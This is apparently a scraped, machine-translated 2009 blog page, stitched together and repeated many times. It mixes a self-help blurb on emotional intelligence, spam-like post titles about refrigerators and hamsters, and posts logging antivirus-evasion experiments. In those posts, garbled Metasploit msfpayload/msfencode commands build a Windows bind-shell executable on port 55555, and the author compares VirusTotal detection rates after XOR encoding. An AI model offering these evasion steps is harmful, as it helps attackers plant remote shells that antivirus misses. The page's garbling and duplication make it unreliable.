Rather than wait for improving the world around you, turn your way of thinking, visualizing increasing health, vitality and joie de vivre. You will discover with pleasure that "happiness, such as health can be learned!
Introduction of the book "Techniques of Creative Visualisation - The Power of Thought" by Shakti Gawain (Secret Edition Adventure)
Thursday, June 4, 2009
Chefmate Mini Refrigerator Bc 87 H Dimensions
Emotional Quotient?
"This is not the reason that guides the world, are the emotions."
The Emotional Quotient (EQ) invites us to harmonize the mind and heart ... The brain, the intuitive and emotions!
Emotional Intelligence, by Daniel Golman includes skills such as: the ability to motivate themselves and persevere despite adversity and frustration and the impulse control and ability to delay satisfaction, the ability to regulate its mood and to prevent distress to impair his faculties of reasoning, empathy, hope. It includes So inter-and intrapersonal intelligences [...] Today, it becomes a key dimension of success and happiness.
Playing ... I recommend as a source: Intelligence ''Heart'' Filiozat Isabella!
Other sources:
http://www.journaldunet.com/management/0706/quotient-emotionnel/1.shtml
http://fr.wikipedia.org/wiki/Intelligence_émotionnelle
http://emploi. france5.fr/job/efficace/developpement-personnel/18381629-fr.php
Test your Emotional Quotient free:
http://test-et-vous.psychologies.com/tests/testgratuit.cfm/3136
http://www.management.fr/contenu_editorial/pages/outils/tests/qe/test_QE.php
http://www.psychorelax.org/tests1/testqe.htm
"This is not the reason that guides the world, are the emotions."
The Emotional Quotient (EQ) invites us to harmonize the mind and heart ... The brain, the intuitive and emotions!
Emotional Intelligence, by Daniel Golman includes skills such as: the ability to motivate themselves and persevere despite adversity and frustration and the impulse control and ability to delay satisfaction, the ability to regulate its mood and to prevent distress to impair his faculties of reasoning, empathy, hope. It includes So inter-and intrapersonal intelligences [...] Today, it becomes a key dimension of success and happiness.
Playing ... I recommend as a source: Intelligence ''Heart'' Filiozat Isabella!
Other sources:
http://www.journaldunet.com/management/0706/quotient-emotionnel/1.shtml
http://fr.wikipedia.org/wiki/Intelligence_émotionnelle
http://emploi. france5.fr/job/efficace/developpement-personnel/18381629-fr.php
Test your Emotional Quotient free:
http://test-et-vous.psychologies.com/tests/testgratuit.cfm/3136
http://www.management.fr/contenu_editorial/pages/outils/tests/qe/test_QE.php
http://www.psychorelax.org/tests1/testqe.htm
Chefmate Mini Refrigerator Bc 87 H Dimensions
Emotional Quotient?
"This is not the reason that guides the world, are the emotions."
The Emotional Quotient (EQ) invites us to harmonize the mind and heart ... The brain, the intuitive and emotions!
Emotional Intelligence, by Daniel Golman includes skills such as: the ability to motivate themselves and persevere despite adversity and frustration and the impulse control and ability to delay satisfaction, the ability to regulate its mood and to prevent distress to impair his faculties of reasoning, empathy, hope. It includes So inter-and intrapersonal intelligences [...] Today, it becomes a key dimension of success and happiness.
Playing ... I recommend as a source: Intelligence ''Heart'' Filiozat Isabella!
Other sources:
http://www.journaldunet.com/management/0706/quotient-emotionnel/1.shtml
http://fr.wikipedia.org/wiki/Intelligence_émotionnelle
http://emploi. france5.fr/job/efficace/developpement-personnel/18381629-fr.php
Test your Emotional Quotient free:
http://test-et-vous.psychologies.com/tests/testgratuit.cfm/3136
http://www.management.fr/contenu_editorial/pages/outils/tests/qe/test_QE.php
http://www.psychorelax.org/tests1/testqe.htm
"This is not the reason that guides the world, are the emotions."
The Emotional Quotient (EQ) invites us to harmonize the mind and heart ... The brain, the intuitive and emotions!
Emotional Intelligence, by Daniel Golman includes skills such as: the ability to motivate themselves and persevere despite adversity and frustration and the impulse control and ability to delay satisfaction, the ability to regulate its mood and to prevent distress to impair his faculties of reasoning, empathy, hope. It includes So inter-and intrapersonal intelligences [...] Today, it becomes a key dimension of success and happiness.
Playing ... I recommend as a source: Intelligence ''Heart'' Filiozat Isabella!
Other sources:
http://www.journaldunet.com/management/0706/quotient-emotionnel/1.shtml
http://fr.wikipedia.org/wiki/Intelligence_émotionnelle
http://emploi. france5.fr/job/efficace/developpement-personnel/18381629-fr.php
Test your Emotional Quotient free:
http://test-et-vous.psychologies.com/tests/testgratuit.cfm/3136
http://www.management.fr/contenu_editorial/pages/outils/tests/qe/test_QE.php
http://www.psychorelax.org/tests1/testqe.htm
Saturday, May 23, 2009
Friday, May 22, 2009
Thursday, May 21, 2009
Saturday, May 16, 2009
Hamster Bleeding From
Msfencode + Xor encoding ==> 15%
File encodedbindtcpx.exe received 2009.05.16 11:23:28 p.m. (CET) Current status: finished Result
: 6 / 40 (15.00%)
http://www.virustotal.com/fr/analisis/ 2dcd8d8636d7aae5dd1ae629abcca482
File encodedbindtcpx.exe received 2009.05.16 11:23:28 p.m. (CET) Current status: finished Result
: 6 / 40 (15.00%)
http://www.virustotal.com/fr/analisis/ 2dcd8d8636d7aae5dd1ae629abcca482
Hamster Bleeding From
Msfencode + Xor encoding ==> 15%
File encodedbindtcpx.exe received 2009.05.16 11:23:28 p.m. (CET) Current status: finished Result
: 6 / 40 (15.00%)
http://www.virustotal.com/fr/analisis/ 2dcd8d8636d7aae5dd1ae629abcca482
File encodedbindtcpx.exe received 2009.05.16 11:23:28 p.m. (CET) Current status: finished Result
: 6 / 40 (15.00%)
http://www.virustotal.com/fr/analisis/ 2dcd8d8636d7aae5dd1ae629abcca482
Friday, May 15, 2009
Fixing Lcd Tv Bleeding
msfencode vs XOR encryption
. / Msfpayload windows / shell_bind_tcp LPORT X = 55555> ***. exe file
bindtcpx.exe received 2009.05.15 8:33:46 p.m. (PST)
Current status: finished Result
: 12 / 40 (30.00%)
http://www.virustotal.com/fr/analisis/86902b47b990be990c8dbccfd2628e49
------------------------ - Execution flow
hijack ==> XOR encryption
File bindtcpx1.exe received 2009.05.15 8:35:25 p.m. (PST)
Current Status: finished
Result: 8 / 40 (20.00%)
http : / / www.virustotal.com/fr/analisis/768667c427ae3001c11dff126c54f231
--------------------------
. / Msfpayload windows / shell_bind_tcp LPORT msfencode R = 55,555-b''-t-o exe ***. exe file
encodedbindtcp.exe received 2009.05.16 11:33:49 p.m. (CET) Current status: finished
Result: 10/40 (25.00%)
http://www.virustotal .com/fr/analisis/4a7e5c372c5292c0a56799ad75b10b3e
. / Msfpayload windows / shell_bind_tcp LPORT X = 55555> ***. exe file
bindtcpx.exe received 2009.05.15 8:33:46 p.m. (PST)
Current status: finished Result
: 12 / 40 (30.00%)
http://www.virustotal.com/fr/analisis/86902b47b990be990c8dbccfd2628e49
------------------------ - Execution flow
hijack ==> XOR encryption
File bindtcpx1.exe received 2009.05.15 8:35:25 p.m. (PST)
Current Status: finished
Result: 8 / 40 (20.00%)
http : / / www.virustotal.com/fr/analisis/768667c427ae3001c11dff126c54f231
--------------------------
. / Msfpayload windows / shell_bind_tcp LPORT msfencode R = 55,555-b''-t-o exe ***. exe file
encodedbindtcp.exe received 2009.05.16 11:33:49 p.m. (CET) Current status: finished
Result: 10/40 (25.00%)
http://www.virustotal .com/fr/analisis/4a7e5c372c5292c0a56799ad75b10b3e
Fixing Lcd Tv Bleeding
msfencode vs XOR encryption
. / Msfpayload windows / shell_bind_tcp LPORT X = 55555> ***. exe file
bindtcpx.exe received 2009.05.15 8:33:46 p.m. (PST)
Current status: finished Result
: 12 / 40 (30.00%)
http://www.virustotal.com/fr/analisis/86902b47b990be990c8dbccfd2628e49
------------------------ - Execution flow
hijack ==> XOR encryption
File bindtcpx1.exe received 2009.05.15 8:35:25 p.m. (PST)
Current Status: finished
Result: 8 / 40 (20.00%)
http : / / www.virustotal.com/fr/analisis/768667c427ae3001c11dff126c54f231
--------------------------
. / Msfpayload windows / shell_bind_tcp LPORT msfencode R = 55,555-b''-t-o exe ***. exe file
encodedbindtcp.exe received 2009.05.16 11:33:49 p.m. (CET) Current status: finished
Result: 10/40 (25.00%)
http://www.virustotal .com/fr/analisis/4a7e5c372c5292c0a56799ad75b10b3e
. / Msfpayload windows / shell_bind_tcp LPORT X = 55555> ***. exe file
bindtcpx.exe received 2009.05.15 8:33:46 p.m. (PST)
Current status: finished Result
: 12 / 40 (30.00%)
http://www.virustotal.com/fr/analisis/86902b47b990be990c8dbccfd2628e49
------------------------ - Execution flow
hijack ==> XOR encryption
File bindtcpx1.exe received 2009.05.15 8:35:25 p.m. (PST)
Current Status: finished
Result: 8 / 40 (20.00%)
http : / / www.virustotal.com/fr/analisis/768667c427ae3001c11dff126c54f231
--------------------------
. / Msfpayload windows / shell_bind_tcp LPORT msfencode R = 55,555-b''-t-o exe ***. exe file
encodedbindtcp.exe received 2009.05.16 11:33:49 p.m. (CET) Current status: finished
Result: 10/40 (25.00%)
http://www.virustotal .com/fr/analisis/4a7e5c372c5292c0a56799ad75b10b3e
Sunday, May 3, 2009
Saturday, May 2, 2009
Sunday, April 26, 2009
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